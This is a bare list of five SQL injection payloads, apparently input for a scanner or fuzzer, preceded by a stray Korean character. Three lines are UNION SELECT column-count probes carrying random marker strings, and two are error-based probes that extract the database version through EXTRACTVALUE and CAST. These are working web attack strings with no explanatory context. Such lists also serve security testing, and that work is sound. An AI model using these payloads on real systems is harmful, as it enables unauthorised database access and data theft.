씤
' UNION SELECT NULL, NULL, NULL, NULL, 'd0xkoxpvfa'--
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT @@version),0x7e))--
' UNION SELECT NULL, NULL, NULL, NULL, NULL, 'd583pyv4ee'--
' AND 1=(SELECT CAST(version() AS int))--
' UNION SELECT NULL, NULL, NULL, 'tgkp507ea5'--